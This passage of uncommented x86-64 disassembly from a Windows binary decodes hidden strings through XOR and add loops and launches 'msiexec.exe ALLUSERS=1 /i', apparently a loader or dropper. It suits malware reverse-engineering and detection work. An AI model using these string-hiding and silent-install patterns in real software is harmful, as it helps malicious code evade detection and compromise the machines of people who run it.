mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
setne byte [rbp + 0x3c]
mov dword [rsp + 0x430], 0x20
mov eax, dword [rsp + 0x430]
mov r13d, dword [rsp + 0x430]
mov r12d, dword [rsp + 0x430]
mov byte [rsp + 0x340], 0
mov r8d, dword [rsp + 0x430]
mov dword [rsp + 0xfc], eax
mov r9d, dword [rsp + 0x430]
add r12d, 2
add r13d, 1
mov r10d, dword [rsp + 0x430]
mov r11d, dword [rsp + 0x430]
add r8d, 3
movzx r12d, r12b
movzx r13d, r13b
mov eax, dword [rsp + 0x430]
add r10d, 5
add r9d, 4
movzx r8d, r8b
mov edi, dword [rsp + 0x430]
add r11d, 6
movzx r10d, r10b
movzx r9d, r9b
mov esi, dword [rsp + 0x430]
add eax, 7
movzx r11d, r11b
mov ebx, dword [rsp + 0x430]
mov dword [rsp + 0xf8], edi
mov edi, dword [rsp + 0x430]
movzx eax, al
mov dword [rsp + 0xf4], esi
mov esi, dword [rsp + 0x430]
shl rax, 8
mov ecx, dword [rsp + 0x430]
mov dword [rsp + 0xf0], ebx
or rax, r11
add edi, 0xb
mov ebx, dword [rsp + 0x430]
mov dword [rsp + 0x70], esi
shl rax, 8
movzx edi, dil
mov esi, dword [rsp + 0x430]
or rax, r10
add ecx, 0xd
mov r14d, dword [rsp + 0x430]
shl rax, 8
add ebx, 0xe
movzx ecx, cl
mov dword [rsp + 0xec], r14d
or rax, r9
add esi, 0xf
movzx ebx, bl
mov r14d, dword [rsp + 0x430]
shl rax, 8
movzx esi, sil
or rax, r8
shl rsi, 8
mov dword [rsp + 0xe8], r14d
shl rax, 8
or rsi, rbx
mov r14d, dword [rsp + 0x430]
or rax, r12
shl rsi, 8
mov dword [rsp + 0xe4], r14d
shl rax, 8
or rsi, rcx
mov r14d, dword [rsp + 0x430]
or rax, r13
mov dword [rsp + 0xe0], r14d
mov r14d, dword [rsp + 0x430]
shl rax, 8
mov dword [rsp + 0xdc], r14d
mov r14d, dword [rsp + 0x430]
movzx r8d, byte [rsp + 0xfc]
mov dword [rsp + 0xd8], r14d
mov r14d, dword [rsp + 0x430]
mov dword [rsp + 0xd4], r14d
mov r14d, dword [rsp + 0x430]
mov dword [rsp + 0xd0], r14d
mov r14d, dword [rsp + 0x430]
mov dword [rsp + 0xcc], r14d
mov r14d, dword [rsp + 0x430]
mov dword [rsp + 0xc8], r14d
mov r14d, dword [rsp + 0x430]
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xc4], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xc0], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xbc], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xb8], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xa0], edx
movzx edx, byte [rsp + 0xf8]
add edx, 8
mov byte [rsp + 0xf8], dl
movzx edx, byte [rsp + 0xf4]
add edx, 9
mov byte [rsp + 0xf4], dl
movzx edx, byte [rsp + 0xf0]
add edx, 0xa
mov byte [rsp + 0xf0], dl
movzx edx, byte [rsp + 0x70]
add edx, 0xc
shl rsi, 8
or rax, r8
add r14d, 0x1a
movzx edx, dl
movzx r14d, r14b
or rsi, rdx
movzx edx, byte [rsp + 0xf0]
shl rsi, 8
or rsi, rdi
shl rsi, 8
or rsi, rdx
movzx edx, byte [rsp + 0xf4]
shl rsi, 8
or rsi, rdx
movzx edx, byte [rsp + 0xf8]
mov qword [rsp + 0x70], rax
movzx ecx, byte [rsp + 0xd8]
shl rsi, 8
movzx eax, byte [rsp + 0xec]
movzx r9d, byte [rsp + 0xc8]
or rsi, rdx
movzx edx, byte [rsp + 0xb8]
lea edi, [rcx + 0x15]
mov qword [rsp + 0x78], rsi
add eax, 0x10
movzx ecx, byte [rsp + 0xd4]
movzx esi, byte [rsp + 0xe8]
movdqa xmm0, xmmword [rsp + 0x70]
mov byte [rsp + 0x70], al
movzx edi, dil
lea r12d, [rcx + 0x16]
movzx ecx, byte [rsp + 0xd0]
movzx r8d, byte [rsp + 0xc4]
add r9d, 0x19
lea r10d, [rsi + 0x11]
movzx esi, byte [rsp + 0xe4]
movzx r12d, r12b
mov byte [rsp + 0xc8], r9b
lea eax, [rcx + 0x17]
lea r9d, [rdx + 0x1e]
movzx ecx, byte [rsp + 0xcc]
movzx edx, byte [rsp + 0xa0]
lea r11d, [rsi + 0x12]
movzx eax, al
lea r13d, [r8 + 0x1b]
movzx r10d, r10b
shl rax, 8
movzx r11d, r11b
add ecx, 0x18
add edx, 0x1f
movzx esi, byte [rsp + 0xe0]
or rax, r12
movzx edx, dl
movzx r8d, byte [rsp + 0xc0]
shl rax, 8
mov byte [rsp + 0xcc], cl
movzx r9d, r9b
shl rdx, 8
lea ebx, [rsi + 0x13]
or rax, rdi
movzx esi, byte [rsp + 0xdc]
lea ecx, [r8 + 0x1c]
shl rax, 8
movzx ebx, bl
movzx ecx, cl
movzx r8d, byte [rsp + 0xbc]
add esi, 0x14
pxor xmm0, xmmword [0x2b3759c10]
movzx esi, sil
add r8d, 0x1d
or rax, rsi
movzx r8d, r8b
movdqa xmm2, xmm0
movaps xmmword [rsp + 0x320], xmm0
shl rax, 8
or rax, rbx
shl rax, 8
or rax, r11
shl rax, 8
or rax, r10
movzx r10d, byte [rsp + 0x70]
shl rax, 8
or rdx, r9
shl rdx, 8
or rax, r10
or rdx, r8
mov qword [rsp + 0x70], rax
xor eax, eax
shl rdx, 8
or rdx, rcx
movzx ecx, r13b
shl rdx, 8
or rdx, rcx
movzx ecx, byte [rsp + 0xc8]
shl rdx, 8
or rdx, r14
shl rdx, 8
or rdx, rcx
movzx ecx, byte [rsp + 0xcc]
shl rdx, 8
or rdx, rcx
mov qword [rsp + 0x78], rdx
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [0x2b3759c20]
movaps xmmword [rsp + 0x330], xmm0
movups xmmword [rsp + 0x434], xmm2
movups xmmword [rsp + 0x444], xmm0
mov byte [rsp + 0x454], 0
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x434]
mov edx, dword [rsp + 0x430]
add edx, eax
xor edx, ecx
mov byte [rsp + rax + 0x434], dl
add rax, 1
cmp rax, 0x20
jne 0x2b36b9ea0
movdqa xmm0, xmmword [0x2b3759c30]
mov byte [rsp + 0x454], 0
movabs rax, 0x3935693d68376a6a
movabs rdx, 0x68353c6665346a3b
mov qword [rsp + 0x540], rax
movabs rax, 0x3a353c686a663c37
movaps xmmword [rsp + 0x350], xmm0
movdqa xmm0, xmmword [0x2b3759c40]
mov qword [rsp + 0x548], rdx
movabs rdx, 0x3d69696665663b69
mov qword [rsp + 0x550], rax
movabs rax, 0x35373c3a373d3539
mov qword [rsp + 0x558], rdx
movabs rdx, 0x3c3c6a663967353b
movaps xmmword [rsp + 0x360], xmm0
movdqa xmm0, xmmword [0x2b3759c50]
mov qword [rsp + 0x560], rax
movabs rax, 0x3d67356669673c69
mov qword [rsp + 0x568], rdx
movabs rdx, 0x3d693b36653d6967
mov qword [rsp + 0x570], rax
xor eax, eax
mov qword [rsp + 0x578], rdx
movaps xmmword [rsp + 0x370], xmm0
movdqa xmm0, xmmword [0x2b3759c60]
mov byte [rsp + 0x390], 0
mov byte [rsp + 0x580], 0
movaps xmmword [rsp + 0x380], xmm0
nop
movzx edx, byte [rsp + rax + 0x540]
sub edx, 4
mov byte [rsp + rax + 0x540], dl
add rax, 1
cmp rax, 0x40
jne 0x2b36b9fb0
mov edx, dword [rbp + 0x38]
mov r9, qword [rsp + 0xa8]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x90]
call fcn.2b3684490
mov edx, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x30]
mov r9d, 0x72
mov r8d, 0xffffffff
call fcn.2b367f8b0
mov r14, rax
mov edi, 0x5559
movabs rax, 0x4d404f484648534e
movabs rdx, 0x4d4d4055524f487e
mov ebp, 0x5559
movdqa xmm0, xmmword [0x2b3759c70]
mov dword [rsp + 0x540], 0x21
mov byte [rsp + 0x216], 0
mov qword [rsp + 0x544], rax
xor eax, eax
mov qword [rsp + 0x54c], rdx
mov dword [rsp + 0x210], 0x550f5344
mov dword [rsp + 0x554], 0x550f5344
mov word [rsp + 0x214], di
mov word [rsp + 0x558], bp
mov byte [rsp + 0x55a], 0
movaps xmmword [rsp + 0x200], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x544]
mov ecx, dword [rsp + 0x540]
xor edx, ecx
mov byte [rsp + rax + 0x544], dl
add rax, 1
cmp rax, 0x16
jne 0x2b36ba088
lea rax, [rsp + 0x544]
mov rcx, r14
mov byte [rsp + 0x55a], 0
mov rdx, rax
mov qword [rsp + 0x70], rax
call fcn.2b367dc50
lea rdx, [rsp + 0x118]
lea r8, [rsp + 0x120]
mov rcx, r14
call fcn.2b367e8c0
mov rcx, qword [rsp + 0x118]
mov edx, 0xa
call sub.msvcrt.dll_strchr
mov rcx, r14
mov byte [rax], 0
mov rdx, qword [rsp + 0x118]
call fcn.2b367dc50
mov dword [rsp + 0x540], 5
mov eax, dword [rsp + 0x540]
mov edi, dword [rsp + 0x540]
mov r10d, dword [rsp + 0x540]
mov byte [rsp + 0x2ba], 0
mov r11d, dword [rsp + 0x540]
mov ebx, dword [rsp + 0x540]
mov dword [rsp + 0xe4], eax
mov esi, dword [rsp + 0x540]
mov dword [rsp + 0xe0], edi
add r10d, 2
mov edi, dword [rsp + 0x540]
add ebx, 4
add r11d, 3
movzx r10d, r10b
mov edx, dword [rsp + 0x540]
add esi, 5
movzx ebx, bl
movzx r11d, r11b
mov ecx, dword [rsp + 0x540]
add edi, 6
movzx esi, sil
mov r13d, dword [rsp + 0x540]
mov r12d, dword [rsp + 0x540]
add edx, 7
movzx edi, dil
mov ebp, dword [rsp + 0x540]
mov dword [rsp + 0xdc], ecx
movzx edx, dl
add r13d, 9
mov ecx, dword [rsp + 0x540]
shl rdx, 8
add r12d, 0xa
add ebp, 0xb
movzx r13d, r13b
or rdx, rdi
add ecx, 0xc
movzx ebp, bpl
movzx r12d, r12b
mov eax, dword [rsp + 0x540]
shl rdx, 8
movzx ecx, cl
mov r9d, dword [rsp + 0x540]
or rdx, rsi
mov dword [rsp + 0x90], eax
shl rdx, 8
add r9d, 0xe
mov eax, dword [rsp + 0x540]
mov r8d, dword [rsp + 0x540]
or rdx, rbx
movzx r9d, r9b
add eax, 0xf
shl rdx, 8
mov dword [rsp + 0xd8], r8d
or rdx, r11
movzx eax, al
mov r8d, dword [rsp + 0x540]
shl rdx, 8
shl rax, 8
mov dword [rsp + 0xd4], r8d
or rdx, r10
or rax, r9
mov r8d, dword [rsp + 0x540]
shl rdx, 8
shl rax, 8
mov dword [rsp + 0xd0], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xcc], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xc8], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xc4], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xc0], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xbc], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xb8], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xa0], r8d
movzx r8d, byte [rsp + 0xe0]
add r8d, 1
mov byte [rsp + 0xe0], r8b
movzx r8d, byte [rsp + 0xdc]
movzx r10d, byte [rsp + 0xe0]
add r8d, 8
mov byte [rsp + 0xdc], r8b
or rdx, r10
movzx r8d, byte [rsp + 0x90]
movzx r10d, byte [rsp + 0xe4]
shl rdx, 8
add r8d, 0xd
movzx r8d, r8b
or rax, r8
shl rax, 8
or rdx, r10
or rax, rcx
movzx ecx, byte [rsp + 0xdc]
mov qword [rsp + 0x90], rdx
shl rax, 8
movzx edx, byte [rsp + 0xc0]
or rax, rbp
shl rax, 8
or rax, r12
shl rax, 8
or rax, r13
shl rax, 8
or rax, rcx
xor ecx, ecx
mov qword [rsp + 0x98], rax
movzx eax, byte [rsp + 0xbc]
movdqa xmm0, xmmword [rsp + 0x90]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xc4]
pxor xmm0, xmm8
shl rax, 8
movaps xmmword [rsp + 0x2a0], xmm0
or rax, rdx
movzx edx, byte [rsp + 0xc8]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xcc]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xd0]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xd4]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xd8]
shl rax, 8
or rax, rdx
movq xmm2, rax
paddb xmm6, xmm2
pxor xmm6, xmm7
movq qword [rsp + 0x2b0], xmm6
movzx eax, byte [rsp + 0xb8]
movups xmmword [rsp + 0x544], xmm0
movq qword [rsp + 0x554], xmm6
add eax, 0x18
xor eax, 0x73
mov cl, al
movzx eax, byte [rsp + 0xa0]
add eax, 0x19
xor eax, 0x5c
mov ch, al
xor eax, eax
mov word [rsp + 0x55c], cx
mov word [rsp + 0x2b8], cx
mov byte [rsp + 0x55e], 0
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x544]
mov edx, dword [rsp + 0x540]
add edx, eax
xor edx, ecx
mov byte [rsp + rax + 0x544], dl
add rax, 1
cmp rax, 0x1a
jne 0x2b36ba458
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x2d0]
mov byte [rsp + 0x55e], 0
lea r12, [rsp + 0x2c0]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x2c0], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x430], rax
mov rbx, rax
cmp rax, 0xf
ja 0x2b36bbbca
cmp rax, 1
jne 0x2b36bbb64
movzx eax, byte [rsp + 0x544]
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x2c8], rbx
mov byte [rax + rbx], 0
mov r12, qword [rsp + 0x2c0]
lea rax, [rsp + 0x2f0]
mov rbx, qword [rsp + 0x2c8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x2e0], rax
mov rax, r12
mov r13, qword [rsp + 0x118]
add rax, rbx
je 0x2b36ba531
test r12, r12
je 0x2b36bbf0b
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36bbb7a
cmp rbx, 1
jne 0x2b36bbb4e
movzx eax, byte [r12]
mov byte [rsp + 0x2f0], al
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2e8], rbx
mov rcx, r13
mov byte [rax + rbx], 0
call sub.msvcrt.dll_strlen
mov r8, rax
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x2e8]
cmp r8, rax
ja 0x2b36bbeff
lea rcx, [rsp + 0x2e0]
mov rdx, r13
call fcn.2b373f380
mov rcx, qword [rsp + 0x120]
mov edx, 4
call sub.msvcrt.dll_calloc
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
mov rcx, rax
mov r12, rax
call sub.msvcrt.dll_mbstowcs
mov rdx, qword [rsp + 0x2e0]
mov rcx, r14
call fcn.2b367ea70
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x540], 0x63
mov dword [rsp + 0x544], 0xa100e4d
mov byte [rsp + 0x548], 0
movzx eax, byte [rsp + 0x544]
mov edx, dword [rsp + 0x540]
mov byte [rsp + 0x114], 0
mov dword [rsp + 0x110], 0xa100e4d
xor eax, edx
mov byte [rsp + 0x544], al
movzx eax, byte [rsp + 0x545]
mov edx, dword [rsp + 0x540]
xor eax, edx
mov byte [rsp + 0x545], al
movzx eax, byte [rsp + 0x546]
mov edx, dword [rsp + 0x540]
xor eax, edx
mov byte [rsp + 0x546], al
movzx eax, byte [rsp + 0x547]
mov edx, dword [rsp + 0x540]
xor eax, edx
mov rdx, qword [rsp + 0x70]
mov byte [rsp + 0x547], al
mov byte [rsp + 0x548], 0
call fcn.2b368e6b0
test eax, eax
je 0x2b36bab4a
mov rax, qword [rsp + 0x50]
lea r13, str.msiexec.exe_ALLUSERS1__i
mov rcx, r13
mov qword [rsp + 0x540], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x430], rsi
cmp rbx, 0xe
ja 0x2b36bbd81
mov rcx, qword [rsp + 0x540]
mov rdx, rsi
cmp rsi, 1
je 0x2b36bbd6c
test rsi, rsi
je 0x2b36ba700
mov rdx, r13
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x540]
xor eax, eax
lea rdi, [rsp + 0x440]
mov qword [rsp + 0x548], rdx
mov word [rcx + rdx*2], ax
mov qword [rsp + 0x430], rdi
test r12, r12
jne 0x2b36bba60
lea rcx, [0x2b37599b0]
call fcn.2b3753100
nop dword [rax + rax]
add rbx, 0x20
cmp rdi, rbx
jne 0x2b36b8ac8
jmp 0x2b36b8aee
add r12, 0x20
cmp rbx, r12
jne 0x2b36b8a78
jmp 0x2b36b8aa1
add r12, 0x20
cmp rbx, r12
jne 0x2b36b91e0
jmp 0x2b36b9209
test rbx, rbx
jne 0x2b36bbf6e
mov rax, qword [rsp + 0x88]
jmp 0x2b36b8f36
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
mov rcx, r15
call fcn.2b373f4c0
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [r15 + 0x10], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x3a0]
mov rax, qword [r15]
jmp 0x2b36b8f36
test rbx, rbx
jne 0x2b36bbf61
mov rax, qword [rsp + 0x90]
jmp 0x2b36b8ffb
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r13
call fcn.2b373f4c0
mov qword [r13], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [r13 + 0x10], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rax, qword [r13]
jmp 0x2b36b8ffb
test rbx, rbx
je 0x2b36b9104
jmp 0x2b36ba872
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r14
call fcn.2b373f4c0
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [r14 + 0x10], rax
mov rdx, qword [rsp + 0xa0]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rcx, qword [r14]
jmp 0x2b36b9104
test rax, rax
jne 0x2b36bbf59
mov rax, rsi
jmp 0x2b36b85f3
lea rcx, [rsp + 0x560]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b373f4c0
mov qword [rsp + 0x560], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x570], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x3a0]
mov rax, qword [rsp + 0x560]
jmp 0x2b36b85f3
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b373f4c0
mov qword [rsp + 0x540], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x550], rax
mov rdx, qword [rsp + 0x68]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x3a0]
mov rax, qword [rsp + 0x540]
jmp 0x2b36b852e
movzx eax, byte [r12]
mov rdi, qword [rsp + 0x60]
mov byte [rdi + 0x10], al
jmp 0x2b36b868f
test rbx, rbx
je 0x2b36b86f2
jmp 0x2b36ba9dd
mov rdi, qword [rsp + 0x60]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
mov rcx, rdi
call fcn.2b373f4c0
mov qword [rdi], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rdi + 0x10], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x3a0]
mov rcx, qword [rax]
jmp 0x2b36b868f
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
mov rcx, r13
call fcn.2b373f4c0
mov rdi, qword [rsp + 0x60]
mov rcx, rax
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rdi + 0x30], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x3a0]
mov rcx, qword [rax + 0x20]
jmp 0x2b36b86f2
test rax, rax
jne 0x2b36bc174
mov rax, qword [rsp + 0x50]
jmp 0x2b36b8e94
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b373f4c0
mov qword [rsp + 0x540], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x550], rax
mov rdx, qword [rsp + 0xa8]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x3a0]
mov rax, qword [rsp + 0x540]
jmp 0x2b36b8e94
movzx eax, byte [r12]
mov byte [r14 + 0x10], al
jmp 0x2b36b87cc
test rbx, rbx
je 0x2b36b8823
jmp 0x2b36baaa3
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r13
call fcn.2b373f4c0
mov qword [r14 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [r14 + 0x30], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rcx, qword [r14 + 0x20]
jmp 0x2b36b8823
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r14
call fcn.2b373f4c0
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [r14 + 0x10], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rcx, qword [r14]
jmp 0x2b36b87cc
test r8, r8
je 0x2b36bab21
cmp r8, 1
je 0x2b36bbe87
mov rdx, qword [rsp + 0x50]
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x548]
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x48], r8
mov byte [rcx + r8], 0
mov rcx, qword [rsp + 0x540]
jmp 0x2b36b8a30
test rax, rax
jne 0x2b36bbef5
mov rdx, qword [rsp + 0x50]
jmp 0x2b36b96af
lea rdi, [rsp + 0x440]
mov qword [rsp + 0x430], rdi
test r12, r12
je 0x2b36bbcf6
mov rcx, r12
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x540], rsi
cmp rbx, 0xe
ja 0x2b36bbe1d
mov rcx, qword [rsp + 0x430]
mov rax, rsi
cmp rsi, 1
je 0x2b36bbd53
test rsi, rsi
je 0x2b36babbc
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x430]
xor r11d, r11d
mov qword [rsp + 0x438], rax
lea r12, [0x2b3759a6e]
mov word [rcx + rax*2], r11w
mov rax, qword [rsp + 0x50]
mov rcx, r12
mov qword [rsp + 0x540], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x3a0], rsi
cmp rbx, 0xe
ja 0x2b36bbde8
mov rcx, qword [rsp + 0x540]
mov rax, rsi
cmp rsi, 1
je 0x2b36bbd60
test rsi, rsi
je 0x2b36bac39
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x3a0]
mov rcx, qword [rsp + 0x540]
xor r9d, r9d
mov qword [rsp + 0x548], rax
mov word [rcx + rax*2], r9w
mov ecx, 0x40
call fcn.2b3752130
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov r12, rax
call fcn.2b36bcb40
mov rcx, qword [rsp + 0xb0]
lea r8, [rsp + 0x140]
xor edx, edx
mov qword [rsp + 0x140], r12
call fcn.2b373bf40
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36baca8
mov rax, qword [rsp + 0x550]
lea rdx, [rax + rax + 2]
call fcn.2b37520f0
mov rcx, qword [rsp + 0x430]
cmp rcx, rdi
je 0x2b36bacc7
mov rax, qword [rsp + 0x440]
lea rdx, [rax + rax + 2]
call fcn.2b37520f0
mov rax, qword [rsp + 0xb0]
xor r12d, r12d
mov rsi, qword [rax + 8]
mov rbx, qword [rax]
cmp rbx, rsi
je 0x2b36bad10
nop
mov rcx, qword [rbx]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbx]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 0x20]
mov r12, qword [rbx]
add rbx, 8
cmp rsi, rbx
jne 0x2b36bace0
mov dword [rsp + 0x540], 0x70
mov eax, dword [rsp + 0x540]
mov edi, dword [rsp + 0x540]
mov r10d, dword [rsp + 0x540]
mov byte [rsp + 0x1f4], 0
mov r11d, dword [rsp + 0x540]
mov ebx, dword [rsp + 0x540]
mov dword [rsp + 0xcc], eax
mov esi, dword [rsp + 0x540]
mov dword [rsp + 0xc8], edi
add r10d, 2
mov edi, dword [rsp + 0x540]
add ebx, 4
add r11d, 3
movzx r10d, r10b
mov edx, dword [rsp + 0x540]
add esi, 5
movzx ebx, bl
movzx r11d, r11b
mov ecx, dword [rsp + 0x540]
add edi, 6
movzx esi, sil
mov r13d, dword [rsp + 0x540]
mov r12d, dword [rsp + 0x540]
add edx, 7
movzx edi, dil
mov ebp, dword [rsp + 0x540]
mov dword [rsp + 0xc4], ecx
movzx edx, dl
add r13d, 9
mov ecx, dword [rsp + 0x540]
shl rdx, 8
add r12d, 0xa
add ebp, 0xb
movzx r13d, r13b
or rdx, rdi
add ecx, 0xc
movzx ebp, bpl
movzx r12d, r12b
mov eax, dword [rsp + 0x540]
shl rdx, 8
movzx ecx, cl
mov r9d, dword [rsp + 0x540]
or rdx, rsi
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x540]
shl rdx, 8
add r9d, 0xe
mov r8d, dword [rsp + 0x540]
or rdx, rbx
movzx r9d, r9b
add eax, 0xf
shl rdx, 8
mov dword [rsp + 0xc0], r8d
or rdx, r11
movzx eax, al
mov r8d, dword [rsp + 0x540]
shl rdx, 8
shl rax, 8
mov dword [rsp + 0xbc], r8d
or rdx, r10
or rax, r9
mov r8d, dword [rsp + 0x540]
shl rdx, 8
shl rax, 8
mov dword [rsp + 0xb8], r8d
mov r8d, dword [rsp + 0x540]
mov dword [rsp + 0xb0], r8d
movzx r8d, byte [rsp + 0xc8]
add r8d, 1
mov byte [rsp + 0xc8], r8b
movzx r8d, byte [rsp + 0xc4]
movzx r10d, byte [rsp + 0xc8]
movzx edi, byte [rsp + 0xc0]
add r8d, 8
mov byte [rsp + 0xc4], r8b
movzx r8d, byte [rsp + 0x50]
or rdx, r10
movzx r10d, byte [rsp + 0xcc]
shl rdx, 8
add r8d, 0xd
movzx r8d, r8b
or rax, r8
shl rax, 8
or rdx, r10
or rax, rcx
movzx ecx, byte [rsp + 0xc4]
mov qword [rsp + 0x50], rdx
lea edx, [rdi + 0x10]
shl rax, 8
movzx edi, byte [rsp + 0xbc]
xor edx, 0x2e
or rax, rbp
shl rax, 8
or rax, r12
shl rax, 8
or rax, r13
shl rax, 8
or rax, rcx
mov qword [rsp + 0x58], rax
xor eax, eax
movdqa xmm0, xmmword [rsp + 0x50]
mov al, dl
lea edx, [rdi + 0x11]
movzx edi, byte [rsp + 0xb8]
pxor xmm0, xmmword [0x2b3759c80]
xor edx, 0x65
mov ah, dl
lea edx, [rdi + 0x12]
movzx edi, byte [rsp + 0xb0]
movups xmmword [rsp + 0x544], xmm0
xor edx, 0x78
movzx eax, ax
movaps xmmword [rsp + 0x1e0], xmm0
movzx edx, dl
lea ecx, [rdi + 0x13]
shl edx, 0x10
xor ecx, 0x65
shl ecx, 0x18
or eax, edx
or eax, ecx
mov dword [rsp + 0x554], eax
mov byte [rsp + 0x558], 0
mov dword [rsp + 0x1f0], eax
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rsp + rax + 0x544]
mov edx, dword [rsp + 0x540]
add edx, eax
xor edx, ecx
mov byte [rsp + rax + 0x544], dl
add rax, 1
cmp rax, 0x14
jne 0x2b36baf90
mov rdx, qword [rsp + 0x70]
mov rcx, r14
mov byte [rsp + 0x558], 0
call fcn.2b367dc50
lea rdx, [rsp + 0x128]
lea r8, [rsp + 0x130]
mov rcx, r14
call fcn.2b367e8c0
mov rdi, qword [rsp + 0x48]
xor eax, eax
mov ecx, 0x41
xor r8d, r8d
movabs rdx, 0x570072006a0079
rep stosq qword [rdi], rax
movzx eax, word [0x2b3759ab4]
movd xmm2, eax
movzx eax, word [str.GetFileSFH_CHA]
pinsrw xmm2, word [0x2b3759ab6], 1
movd xmm3, eax
movzx eax, word [0x2b3759abc]
pinsrw xmm3, word [0x2b3759aba], 1
movd xmm0, eax
movzx eax, word [0x2b3759ac0]
punpckldq xmm2, xmm3
pinsrw xmm0, word [0x2b3759abe], 1
movdqa xmm3, xmmword [0x2b3759c90]
movd xmm1, eax
movzx eax, word [0x2b3759ac4]
pinsrw xmm1, word [0x2b3759ac2], 1
